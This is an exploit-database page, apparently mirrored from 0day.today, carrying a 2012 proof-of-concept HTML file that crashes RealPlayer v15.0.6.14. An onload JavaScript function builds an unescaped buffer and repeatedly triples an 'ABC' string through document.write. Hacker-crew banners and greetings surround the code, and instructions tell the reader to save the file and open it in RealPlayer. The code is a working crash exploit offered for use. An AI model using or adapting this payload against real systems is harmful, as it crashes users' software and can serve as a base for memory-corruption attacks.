Lucene search
K

RealPlayer .html v15.0.6.14 Memory Corruption and Overflow POC

🗓️ 07 Dec 2012 00:00:00Reported by KedAns-DzType 
zdt
 zdt
🔗 0day.today👁 29 Views

RealPlayer v15.0.6.14 Memory Corruption and Overflow POC. Save HTML code as p0c.html, open with RealPlayer for exploi

Code
<!--
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : 1337day.com                                   0
1  [+] Support e-mail  : submit[at]1337day.com                         1
0                                                                      0
1               #########################################              1
0               I'm KedAns-Dz member from Inj3ct0r Team                1
1               #########################################              0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
 
###
# Title : RealPlayer .html v15.0.6.14 Memory Corruption and Overflow POC
# Author : KedAns-Dz
# E-mail : ked-h (@hotmail.com / @1337day.com)
# Home : Hassi.Messaoud (30500) - Algeria -(00213555248701)
# Web Site : www.1337day.com .net .org
# FaCeb0ok : http://fb.me/Inj3ct0rK3d
# Friendly Sites : www.r00tw0rm.com * www.exploit-id.com
# Platform/CatID : local - 0day
# Type : Local Exploit - proof of concept
# Tested on : Windows7 (Fr)
###
 
# <3 <3 Greetings t0 Palestine <3 <3
# Greetings To BarbarOS-Dz in the jail x_x ! F-ck HaCking, Lov3 Explo8ting

Info :
Save the HTML Code as p0c.html and drop/open it with Realplayer
ABCABC........... Boom !!! ^__^

-->

<html>
<head>
<title>Memory Corruption bY KedAns-Dz</title>
<body onload="javascript:KedAns();">
<script language="JavaScript">
      function KedAns()
       {
	
// (puf) it's just for make a buffer and Crash !
var puf =unescape("%u4142%u4142");
    puf+=unescape("%u4142%u4142");
    puf+=unescape("%u4142%u4142");
    puf+=unescape("%u4142%u4142");
    puf+=unescape("%u4142%u4142");
    puf+=unescape("%u4142%u4142");
    puf+=unescape("%u4142%u4142");
    puf+=unescape("%u4142%u4142");
    puf+=unescape("%u4142%u4142");
    puf+=unescape("%u4142%u4142");
    puf+=unescape("%u4142%u4142");
    puf+=unescape("%u4142%u4142");
    puf+=unescape("%u4142%u4142");
    puf+=unescape("%u4142%u4142");
    puf+=unescape("%u4142%u4142");
    puf+=unescape("%u4142%u4142");

  document.write(puf); // Buffer1

	var buffer = '\x41\x42\x43' // ABC buffer
    for(i=0; i <= 999 ; ++i)
	{
    buffer+=buffer+buffer
	document.write(buffer); // Corrupt this !!!
	
	}
	
// [ Memory Corruption !! (*__^) ]

} 
</script>
</head>
</body>
</html>
<!--
 
#================[ Exploited By KedAns-Dz * Inj3ct0r Team * ]===============================================
# Greets To : Dz Offenders Cr3w < Algerians HaCkerS > | Indoushka , Caddy-Dz , Kalashinkov3 , Mennouchi.Islem
# Jago-dz , Over-X , Kha&miX , Ev!LsCr!pT_Dz, KinG Of PiraTeS, TrOoN, T0xic, Chevr0sky, Black-ID, Barbaros-DZ,
# +> Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re (1337day.com) * CrosS (r00tw0rm.com)
# Inj3ct0r Members 31337 : KedAns ^^ * KnocKout * SeeMe * Kalashinkov3 * ZoRLu * anT!-Tr0J4n * Angel Injection
# NuxbieCyber (www.1337day.com/team) * Dz Offenders Cr3w * Algerian Cyber Army * xDZx * HD Moore * YMCMB ..all
# Exploit-ID Team : jos_ali_joe + kaMtiEz + r3m1ck (exploit-id.com) * Milw0rm * KeyStr0ke * JF * L3b-r1Z * HMD
# packetstormsecurity.org * metasploit.com * r00tw0rm.com * OWASP Dz * Dis9-UE * All Security and Exploits Webs
#============================================================================================================ -->

#  0day.today [2018-01-05]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Dec 2012 00:00Current
7.7High risk
Vulners AI Score7.7
29